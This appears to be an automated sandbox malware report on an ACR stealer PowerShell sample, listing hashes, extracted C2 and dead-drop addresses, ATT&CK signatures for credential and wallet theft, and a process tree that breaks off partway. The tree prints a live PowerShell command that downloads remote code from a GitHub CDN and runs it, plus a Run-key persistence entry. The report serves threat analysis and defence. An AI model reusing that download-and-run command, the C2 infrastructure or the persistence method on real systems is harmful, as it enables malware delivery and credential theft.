acrstealer | 100af252403c52c010836bdf5cd882db72e6f3ecd1b9a3aa0b725e430e4c7c83

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 18:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
98d-b-C47290777173.ps1
Size 93KB
Sample260925-w6fmtstekd
SHA256 100af252403c52c010836bdf5cd882db72e6f3ecd1b9a3aa0b725e430e4c7c83
MD5 52b6b8c89d0533e7bd568967dedbb03c
SHA1 683bb5e1130d320aa5c5fd41c58ab032b11b38cc
SHA512 c5a6d620aac9873ee3a905fd4f20f4f7fdcd095f11bde26e669d3dd1e6e12f41384a8cb612d1c238d02e6f97c315219a7e0fd584710fec11fb4519cdf0835c40
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdC9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnOu
TLSH
T1A49323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

content.antitoxicmoustache.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 5608 created 612	5608	rundll32.exe	82
PID 5608 created 612	5608	rundll32.exe	82
PID 5608 created 612	5608	rundll32.exe	82

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3660	powershell.exe
8	3660	powershell.exe
10	5608	rundll32.exe
11	5608	rundll32.exe
12	5608	rundll32.exe
13	5608	rundll32.exe
14	5608	rundll32.exe
151	5608	rundll32.exe
152	5608	rundll32.exe
153	5608	rundll32.exe
154	5608	rundll32.exe
157	5920	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3192	AutoIt3.exe
1748	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0488 = "\"C:\\Users\\Admin\\AppData\\Roaming\\18cc7d25a7d6\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\18cc7d25a7d6\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5560	PowerShell.exe
5920	powershell.exe
3660	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
1	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	PowerShell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3192 set thread context of 1748	3192	AutoIt3.exe	161

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 3 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2516	chrome.exe
1104	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{5F487940-C936-42DE-BA84-9D47BFB90281}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5560	PowerShell.exe
5560	PowerShell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
5608	rundll32.exe
5608	rundll32.exe
5608	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
1480	msedge.exe
1480	msedge.exe
1480	msedge.exe
1480	msedge.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	5560	PowerShell.exe
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeShutdownPrivilege	2508	chrome.exe
Token: SeCreatePagefilePrivilege	2508	chrome.exe
Token: SeDebugPrivilege	5920	powershell.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
2508	chrome.exe
1480	msedge.exe
5400	firefox.exe
3192	AutoIt3.exe
3192	AutoIt3.exe
3192	AutoIt3.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3192	AutoIt3.exe
3192	AutoIt3.exe
3192	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5560 wrote to memory of 988	5560	PowerShell.exe	90
PID 988 wrote to memory of 1792	988	csc.exe	91
PID 5560 wrote to memory of 5784	5560	PowerShell.exe	92
PID 5784 wrote to memory of 2860	5784	csc.exe	93
PID 5560 wrote to memory of 3660	5560	PowerShell.exe	94
PID 3660 wrote to memory of 5608	3660	powershell.exe	96
PID 3660 wrote to memory of 5608	3660	powershell.exe	96
PID 5608 wrote to memory of 2508	5608	rundll32.exe	97
PID 2508 wrote to memory of 2996	2508	chrome.exe	98
PID 2508 wrote to memory of 2516	2508	chrome.exe	100
PID 2508 wrote to memory of 4616	2508	chrome.exe	99
PID 2508 wrote to memory of 4616	2508	chrome.exe	99
PID 2508 wrote to memory of 1148	2508	chrome.exe	101
PID 2508 wrote to memory of 1148	2508	chrome.exe	101
PID 2508 wrote to memory of 5376	2508	chrome.exe	103
PID 2508 wrote to memory of 5376	2508	chrome.exe	103
PID 2508 wrote to memory of 1512	2508	chrome.exe	104
PID 2508 wrote to memory of 1512	2508	chrome.exe	104
PID 2508 wrote to memory of 6044	2508	chrome.exe	105
PID 2508 wrote to memory of 6044	2508	chrome.exe	105
PID 2508 wrote to memory of 4680	2508	chrome.exe	106
PID 2508 wrote to memory of 4680	2508	chrome.exe	106
PID 2508 wrote to memory of 3544	2508	chrome.exe	107
PID 2508 wrote to memory of 5628	2508	chrome.exe	108
PID 2508 wrote to memory of 5628	2508	chrome.exe	108
PID 2508 wrote to memory of 564	2508	chrome.exe	109
PID 2508 wrote to memory of 564	2508	chrome.exe	109
PID 2508 wrote to memory of 4696	2508	chrome.exe	111
PID 2508 wrote to memory of 4696	2508	chrome.exe	111
PID 2508 wrote to memory of 1116	2508	chrome.exe	115
PID 2508 wrote to memory of 2856	2508	chrome.exe	116
PID 2508 wrote to memory of 1116	2508	chrome.exe	115
PID 2508 wrote to memory of 5396	2508	chrome.exe	130
PID 2508 wrote to memory of 2856	2508	chrome.exe	116
PID 2508 wrote to memory of 5396	2508	chrome.exe	130
PID 2508 wrote to memory of 3424	2508	chrome.exe	118
PID 2508 wrote to memory of 3424	2508	chrome.exe	118
PID 2508 wrote to memory of 4844	2508	chrome.exe	119
PID 2508 wrote to memory of 4844	2508	chrome.exe	119
PID 2508 wrote to memory of 1480	2508	chrome.exe	125
PID 2508 wrote to memory of 1480	2508	chrome.exe	125
PID 2508 wrote to memory of 1960	2508	chrome.exe	121
PID 2508 wrote to memory of 1960	2508	chrome.exe	121
PID 2508 wrote to memory of 1120	2508	chrome.exe	122
PID 2508 wrote to memory of 1120	2508	chrome.exe	122
PID 2508 wrote to memory of 3032	2508	chrome.exe	124
PID 2508 wrote to memory of 1084	2508	chrome.exe	123
PID 2508 wrote to memory of 3032	2508	chrome.exe	124
PID 2508 wrote to memory of 1084	2508	chrome.exe	123
PID 5608 wrote to memory of 1480	5608	rundll32.exe	125
PID 1480 wrote to memory of 3732	1480	msedge.exe	126
PID 1480 wrote to memory of 1476	1480	msedge.exe	127
PID 1480 wrote to memory of 1104	1480	msedge.exe	128
PID 1480 wrote to memory of 1476	1480	msedge.exe	127
PID 1480 wrote to memory of 1476	1480	msedge.exe	127
PID 1480 wrote to memory of 3420	1480	msedge.exe	129
PID 1480 wrote to memory of 3420	1480	msedge.exe	129
PID 1480 wrote to memory of 4848	1480	msedge.exe	131
PID 1480 wrote to memory of 4848	1480	msedge.exe	131
PID 1480 wrote to memory of 4848	1480	msedge.exe	131
PID 1480 wrote to memory of 3728	1480	msedge.exe	132
PID 1480 wrote to memory of 3728	1480	msedge.exe	132
PID 1480 wrote to memory of 3728	1480	msedge.exe	132
PID 1480 wrote to memory of 4504	1480	msedge.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:612
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\98d-b-C47290777173.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5560
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hucjvxty\hucjvxty.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:988
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3677.tmp" "c:\Users\Admin\AppData\Local\Temp\hucjvxty\CSC2CD0E062312C4B629E5F332221CE71CF.TMP"
      4⤵
      PID:1792
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1rclettm\1rclettm.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5784
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3FCE.tmp" "c:\Users\Admin\AppData\Local\Temp\1rclettm\CSC4F257D1785DC4185B14CBD28310979B.TMP"
      4⤵
      PID:2860
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm rawcdn.githack.com/dsteru3421/6-1-2Cb78C4-94a6-98C4C59-2-6/refs/heads/main/f4b-0-cA92-D0E4644d-bC87-95Cc | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:5608
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\tfpn4pD5TgqvL310\tfpn4pIDFporf8lH.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        
        PID:5920
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j1kfjnc2\j1kfjnc2.cmdline"
        6⤵
        
        PID:2900
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1F51.tmp" "c:\Users\Admin\AppData\Local\Temp\j1kfjnc2\CSC264E880D1CEF4DC397DCA95072D749B0.TMP"
        7⤵
        
        PID:2996
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tly24k4l\tly24k4l.cmdline"
        6⤵
        
        PID:1620
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2220.tmp" "c:\Users\Admin\AppData\Local\Temp\tly24k4l\CSCF7FAE256A494462880E1216425B1F0CB.TMP"
        7⤵
        
        PID:3884
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdb857c728,0x7ffdb857c734,0x7ffdb857c740
    3⤵
    PID:2996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,1789282540403189779,15195200378454889389,262144 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
    3⤵
    PID:4616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2064,i,6849592445201087246,14928305556877717540,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2328,i,8156443832198309898,16992047416172651572,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=2404 /prefetch:13
    3⤵
    PID:1148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3220,i,8881870546319937044,13066519206826978145,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:5376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3248,i,17031917606253527468,6541820982939856516,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:1512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,13829220099521026794,9743926073922863984,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:1
    3⤵
    PID:6044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4260,i,10022197691885310874,11114282115005869150,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:14
    3⤵
    PID:4680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4260,i,2832444957050004729,16998793045585201454,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:14
    3⤵
    PID:3544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
